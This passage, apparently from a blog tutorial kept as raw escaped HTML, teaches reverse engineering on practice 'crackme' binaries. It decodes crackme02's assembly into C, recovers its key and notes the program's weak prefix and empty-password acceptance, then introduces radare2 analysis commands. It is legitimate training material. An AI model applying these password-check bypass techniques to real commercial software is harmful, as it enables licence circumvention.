== &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Yes, %s is correct.&amp;#34;&lt;/span&gt;, argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;] != &lt;span style=&#34;color:#800080&#34;&gt;&amp;#39;o&amp;#39;&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;No, %s is not correct.&amp;#34;&lt;/span&gt;, argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Magic happens here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What happens if it&amp;rsquo;s not zero, though? The program progresses down to 0x746.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;movsx  eax,al&#xA;sub    eax,0x1&#xA;movsx  ecx,cl&#xA;cmp    eax,ecx&#xA;jne    794 &amp;lt;main+0x84&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, we zero out all but the lowest 8 bits of &lt;code&gt;eax&lt;/code&gt;, then subtract one from it. Then we zero out all but the last 8 bits of &lt;code&gt;ecx&lt;/code&gt; and compare &lt;code&gt;eax&lt;/code&gt; to &lt;code&gt;ecx&lt;/code&gt;. If they&amp;rsquo;re not equal, we jump to 0x794. Where is that? It&amp;rsquo;s another block we&amp;rsquo;ve already reversed; it prints the failure string and exits with the return code of 1.&lt;/p&gt;&#xA;&lt;p&gt;What is this actually doing? From above, &lt;code&gt;eax&lt;/code&gt; contains a single byte; 0x61 (decimal 97, or &amp;lsquo;a&amp;rsquo; in ASCII). It has one subtracted from it, so it&amp;rsquo;s 0x60 (decimal 96, &amp;lsquo;`&amp;rsquo; in ASCII). So we know that the first two characters of the key are &amp;lsquo;o`&amp;rsquo;. Our pseudocode looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; main(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;char&lt;/span&gt;** argv){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argc != &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        puts(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Need exactly one argument.&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;] == &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt; || argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;] == &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Yes, %s is correct.&amp;#34;&lt;/span&gt;, argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;] != &lt;span style=&#34;color:#800080&#34;&gt;&amp;#39;o&amp;#39;&lt;/span&gt; || argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;] != &lt;span style=&#34;color:#00f&#34;&gt;0x60&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;No, %s is not correct.&amp;#34;&lt;/span&gt;, argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Magic happens here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If they are equal, we move on to 0x753:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;add    esi,0x1&#xA;movsxd rcx,esi&#xA;movzx  eax,BYTE PTR [rdi+rcx*1]&#xA;test   al,al&#xA;jne    73e &amp;lt;main+0x2e&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;First off, the program increments &lt;code&gt;esi&lt;/code&gt;. (&lt;code&gt;esi&lt;/code&gt; was set to 1 in the previous block.) It then moves that value into the lower 32 bits of &lt;code&gt;rcx&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then, the program loads a single byte from &lt;code&gt;rdi + rcx&lt;/code&gt;. &lt;code&gt;rdi&lt;/code&gt; is &lt;code&gt;argv[1]&lt;/code&gt;, and &lt;code&gt;rcx&lt;/code&gt; is &lt;code&gt;esi + 1&lt;/code&gt; (which is, at this moment, 2). So here, the program is loading &lt;code&gt;argv[1][2]&lt;/code&gt;. More correctly, though, it&amp;rsquo;s loading &lt;code&gt;argv[1][rcx]&lt;/code&gt; (you&amp;rsquo;ll see why this matters in a moment).&lt;/p&gt;&#xA;&lt;p&gt;The program then checks if that value is zero; if not, it jumps to 0x73e. Where is that?&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;movzx  ecx,BYTE PTR [rdx+rcx*1]&#xA;test   cl,cl&#xA;je     761 &amp;lt;main+0x51&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We&amp;rsquo;ve seen this before. It&amp;rsquo;s just the check from a few sections above. It loads a byte from &lt;code&gt;argv[1][ecx]&lt;/code&gt; and checks if it&amp;rsquo;s zero; if so it jumps to success, and if not it moves down to the code we just reversed. This is another pattern you should recognize in the future: &lt;strong&gt;a loop&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve identified the whole loop, let&amp;rsquo;s look at all of its instructions, from 0x73e to 0x75f.&lt;/p&gt;&#xA;&lt;p&gt;Recall that, a few blocks ago, &lt;code&gt;rdi&lt;/code&gt; was loaded with the address of the string &lt;code&gt;password1&lt;/code&gt;, but this wasn&amp;rsquo;t the right password. Here we can see why; bytes are being loaded from that string and having one added to them before they&amp;rsquo;re compared with the actual input.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;movzx  ecx,BYTE PTR [rdx+rcx*1] ; load a byte from argv[1]&#xA;test   cl,cl                    ; check if that byte is zero&#xA;je     761 &amp;lt;main+0x51&amp;gt;          ; if so, jump to success&#xA;movsx  eax,al                   &#xA;sub    eax,0x1                  ; decrement comparison byte&#xA;movsx  ecx,cl                   &#xA;cmp    eax,ecx                  ; check if the correct byte == the input byte&#xA;jne    794 &amp;lt;main+0x84&amp;gt;          ; if it doesn&amp;#39;t match, jump to failure&#xA;add    esi,0x1                  ; increment index into comparison string&#xA;movsxd rcx,esi                  ; place that index in CX&#xA;movzx  eax,BYTE PTR [rdi+rcx*1] ; load the next byte from the comparison string&#xA;test   al,al                    ; Check that that byte isn&amp;#39;t zero&#xA;jne    73e &amp;lt;main+0x2e&amp;gt;          ; If it&amp;#39;s not zero, loop&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While we as humans would write this like the following C code, the compiler actually moved the second part of the loop check to the &lt;em&gt;end&lt;/em&gt; of the loop, and loads the next byte for the comparison string there.&lt;/p&gt;&#xA;&lt;p&gt;Note: This code was incorrect in the original version of this tutorial. Thanks to &lt;a href=&#34;https://github.com/empwill/&#34;&gt;empwill&lt;/a&gt; for correcting it. I note this so that readers will be aware that even experienced reverse engineers make mistakes, and that such mistakes are both expected and recoverable!&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Try It Yourself:&lt;/strong&gt; The following C code should be all you need to determine the correct code. Try it!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; main(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;char&lt;/span&gt;** argv){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argc != &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        puts(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Need exactly one argument.&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// This pointer is in rdi in our disassembled binary&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;char&lt;/span&gt;* comparison = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;password1&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// This is the value used to index the argv[1]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; i = &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][i] != &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt; &amp;amp;&amp;amp; (comparison[i]) != &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][i] != comparison[i] - &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;No, %s is not correct.&amp;#34;&lt;/span&gt;, argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        i++;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Yes, %s is correct.&amp;#34;&lt;/span&gt;, argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is really all we need. Simply subtracting one from each letter of &lt;code&gt;password1&lt;/code&gt; in ASCII gives us &amp;ldquo;o`rrvnqc0&amp;rdquo;. Let&amp;rsquo;s try it:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ ./crackme02.64 o\`rrvnqc0&#xA;Yes, o`rrvnqc0 is correct!&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The sharp-eyed among you might have noticed that this binary has a problem, however; it will actually accept &lt;em&gt;any&lt;/em&gt; of these characters. o, o`, o`r, o`rr, et cetera all work! Clearly not a very good method to use for your product key. Also, as pointed out by &lt;a href=&#34;https://github.com/noracodes/crackmes/issues/2&#34;&gt;an astute GitHub commenter&lt;/a&gt;, an empty password (&lt;code&gt;./crackme02.64 &amp;quot;&amp;quot;&lt;/code&gt;) will be accepted.&lt;/p&gt;&#xA;&lt;p&gt;If you made it this far, good job! Reverse engineering is difficult, but this is the core of it, and it only gets easier from here.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: There is a file called &lt;code&gt;crackme02e.c&lt;/code&gt; which can be solved using this same technique. Compile and attempt to solve it, to cement your skills.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;crackme03c&#34;&gt;crackme03.c&lt;/h2&gt;&#xA;&lt;p&gt;The next crackme is slightly more difficult. In &lt;code&gt;crackme02&lt;/code&gt;, we were able to manually inspect each branch, building up the flow of execution mentally. This technique breaks down as programs become more complex.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-radare-analysis-tool&#34;&gt;The Radare Analysis Tool&lt;/h3&gt;&#xA;&lt;p&gt;Fortunately, the reverse engineering community is rife with smart people, and there are excellent tools to automate a great deal of this analysis. Some of them, like Ida Pro, cost as much as $5000, but my personal favorite is Radare2 (&lt;strong&gt;Ra&lt;/strong&gt;ndom &lt;strong&gt;da&lt;/strong&gt;ta &lt;strong&gt;re&lt;/strong&gt;covery), which is entirely free and open source.&lt;/p&gt;&#xA;&lt;p&gt;Running &lt;code&gt;crackme03.64&lt;/code&gt;, we can see that it (basically) works about the same way as the other two. It needs exactly one argument, and when we provide it with one, it helpfully tells us that it&amp;rsquo;s wrong.&lt;/p&gt;&#xA;&lt;p&gt;This time, rather than &lt;code&gt;objdump&lt;/code&gt;ing the file, we&amp;rsquo;re going to open it with &lt;code&gt;radare2&lt;/code&gt; (or &lt;code&gt;r2&lt;/code&gt;): &lt;code&gt;r2 ./crackme03.64&lt;/code&gt;. You&amp;rsquo;ll see a prompt. Type &amp;ldquo;?&amp;rdquo;, and you&amp;rsquo;ll get a help listing. Radare is an immensely powerful tool, but for this challenge we won&amp;rsquo;t need most of its functionality. I&amp;rsquo;ve removed many entries, paring it down to the bare necessities.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[0x000005e0]&amp;gt; ?&#xA;Usage: [.][times][cmd][~grep][@[@iter]addr!size][|&amp;gt;pipe] ; ...&#xA;Append &amp;#39;?&amp;#39; to any char command to get detailed help&#xA;Prefix with number to repeat command N times (f.ex: 3x)&#xA;| a[?]                    Analysis commands&#xA;| p[?] [len]              Print current block with format and length&#xA;| s[?] [addr]             Seek to address (also for &amp;#39;0x&amp;#39;, &amp;#39;0x1&amp;#39; == &amp;#39;s 0x1&amp;#39;)&#xA;| V                       Enter visual mode (V! = panels, VV = fcngraph, VVV = callgraph)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The important thing to note is that Radare is &lt;strong&gt;self-documenting&lt;/strong&gt;. If you ever want to know what you can do with a command, simply type a ? after it. For instance, we want to &lt;code&gt;a&lt;/code&gt;nalyze the current program:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[0x000005e0]&amp;gt; a?&#xA;|Usage: a[abdefFghoprxstc] [...]&#xA;| ab [hexpairs]    analyze bytes&#xA;| aa[?]            analyze all (fcns + bbs) (aa0 to avoid sub renaming)&#xA;| ac[?] [cycles]   analyze which op could be executed in [cycles]&#xA;| ad[?]            analyze data trampoline (wip)&#xA;| ad [from] [to]   analyze data pointers to (from-to)&#xA;| ae[?] [expr]     analyze opcode eval expression (see ao)&#xA;| af[?]            analyze Functions&#xA;| aF               same as above, but using anal.depth=1&#xA;| ag[?] [options]  output Graphviz code&#xA;| ah[?]            analysis hints (force opcode size, ...)&#xA;| ai [addr]        address information (show perms, stack, heap, ...)&#xA;| ao[?] [len]      analyze Opcodes (or emulate it)&#xA;| aO               Analyze N instructions in M bytes&#xA;| ar[?]            like &amp;#39;dr&amp;#39; but for the esil vm. (registers)&#xA;| ap               find prelude for current offset&#xA;| ax[?]            manage refs/xrefs (see also afx?)&#xA;| as[?] [num]      analyze syscall using dbg.reg&#xA;| at[?] [.]        analyze execution traces&#xA;Examples:&#xA; f ts @ `S*~text:0[3]`; f t @ section..text&#xA; f ds @ `S*~data:0[3]`; f d @ section..data&#xA; .ad t t+ts @ d:ds&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Try It Yourself:&lt;/strong&gt; I suggest traversing the help for a while. Google every term you don&amp;rsquo;t understand. There is a lot of cool functionality that I won&amp;rsquo;t touch on here, but which might inspire you to try something.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;automatic-analysis&#34;&gt;Automatic Analysis&lt;/h3&gt;&#xA;&lt;p&gt;It turns out that the command we want it &lt;code&gt;aaaa&lt;/code&gt;: &lt;code&gt;a&lt;/code&gt;nalyze using &lt;code&gt;a&lt;/code&gt;ll functions using &lt;code&gt;a&lt;/code&gt;ll normal and &lt;code&gt;a&lt;/code&gt;ll experimental techniques.&lt;/p&gt;&#xA;&lt;p&gt;This means that Radare has a list of functions available to us. We can view it with &lt;code&gt;afl&lt;/code&gt;: &lt;code&gt;a&lt;/code&gt;nalyze &lt;code&gt;f&lt;/code&gt;unctions, displaying a &lt;code&gt;l&lt;/code&gt;ist.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[0x000005e0]&amp;gt; afl&#xA;0x00000000    3 73   -&amp;gt; 75   fcn.rsp&#xA;0x00000049    1 219          fcn.00000049&#xA;0x00000590    3 23           sym._init&#xA;0x000005c0    1 8            sym.imp.puts&#xA;0x000005c8    1 8            sym.imp.__printf_chk&#xA;0x000005d0    1 16           sym.imp.__cxa_finalize&#xA;0x000005e0    1 43           entry0&#xA;0x00000610    4 50   -&amp;gt; 44   sym.deregister_tm_clones&#xA;0x00000650    4 66   -&amp;gt; 57   sym.register_tm_clones&#xA;0x000006a0    5 50           sym.__do_global_dtors_aux&#xA;0x000006e0    4 48   -&amp;gt; 42   entry1.init&#xA;0x00000710    7 58           sym.check_pw&#xA;0x0000074a    7 203          main&#xA;0x00000820    4 101          sym.__libc_csu_init&#xA;0x00000890    1 2            sym.__libc_csu_fini&#xA;0x00000894    1 9            sym._fini&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We only care about &lt;code&gt;main&lt;/code&gt; and &lt;code&gt;check_pw&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Try It Yourself:&lt;/strong&gt; Figure out why I can immediately discard the other functions for initial analysis. Search engines are your friend.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Radare can disassemble just a single function for us with &lt;code&gt;pdf@main&lt;/code&gt;: &lt;code&gt;p&lt;/code&gt;rint &lt;code&gt;d&lt;/code&gt;isassembly of a &lt;code&gt;f&lt;/code&gt;unction &lt;code&gt;@&lt;/code&gt; (at) the symbol called &lt;code&gt;main&lt;/code&gt;. Radare also supports tab completion in many contexts. For instance, if you type &lt;code&gt;pdf@sym.&lt;/code&gt; and hit the tab key, you&amp;rsquo;ll get a list of all the functions in the symbol table.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, the first thing to notice is that Radare does syntax highlighting, adds a lot of comments, and even names some variables for us. It does some analysis to determine the types of variables, too; in this case, we have 9 local stack variables. Radare names them &lt;code&gt;local_2h&lt;/code&gt;, &lt;code&gt;local_3h&lt;/code&gt;, et cetera based on their offsets from the stack pointer.&lt;/p&gt;&#xA;&lt;p&gt;The beginning of our program is pretty familiar. Starting at 0x74a:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;push rbx&#xA;sub rsp, 0x10&#xA;cmp edi, 2&#xA;jne 0x7cc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have the function prologue allocating 16 bytes of memory for our local variables and an &lt;code&gt;if&lt;/code&gt; statement. Recall that the DI register holds the first argument, and since this is &lt;code&gt;main&lt;/code&gt;, that argument is &lt;code&gt;argc&lt;/code&gt;. So, &lt;code&gt;if (argc != 2) jump somewhere&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In Radare, look to the left of the &lt;code&gt;jne&lt;/code&gt; instruction. You&amp;rsquo;ll see an arrow coming out of that instruction and running down to 0x7cc, where we see:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;lea rdi, str.Need_exactly_one_argument. ; 0x8a4 ; &amp;#34;Need exactly one argument.&amp;#34; ; const char * s&#xA;call sym.imp.puts           ; int puts(const char *s)&#xA;mov eax, 0xffffffff         ; -1&#xA;jmp 0x7c6&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Remember how annoying it was to search for string literals in our binary? Radare does it for us, giving us the address, a convenient alias, and the value of the string literal.&#xA;It also analyzes the functions being called, which is very convenient. Here, we can see without much effort that the binary is printing the string &amp;ldquo;Need exactly one argument.&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;It then loads &lt;code&gt;eax&lt;/code&gt; with -1 and jumps to 0x7c6. We can follow the arrow (or just scroll to the address) to see where that is, but there&amp;rsquo;s a more interesting way.&lt;/p&gt;&#xA;&lt;h3 id=&#34;visual-flow-analysis&#34;&gt;Visual Flow Analysis&lt;/h3&gt;&#xA;&lt;p&gt;Radare provides a feature known as &amp;ldquo;visual mode&amp;rdquo;. To use it, we need to move Radare&amp;rsquo;s internal cursor to the function we want to analyze with the &lt;code&gt;s&lt;/code&gt;eek command: &lt;code&gt;s main&lt;/code&gt;. You&amp;rsquo;ll notice that the prompt changes from &lt;code&gt;[0x000005e0]&amp;gt;&lt;/code&gt; to &lt;code&gt;[0x0000074a]&amp;gt;&lt;/code&gt;, indicating that the current location has moved to the first instruction in the &lt;code&gt;main&lt;/code&gt; function. Then, type &lt;code&gt;VV&lt;/code&gt; (&lt;code&gt;V&lt;/code&gt;isual mode 2). You should see ASCII-art boxes with different parts of the program.&lt;/p&gt;&#xA;&lt;p&gt;Every time a jump instruction appears, 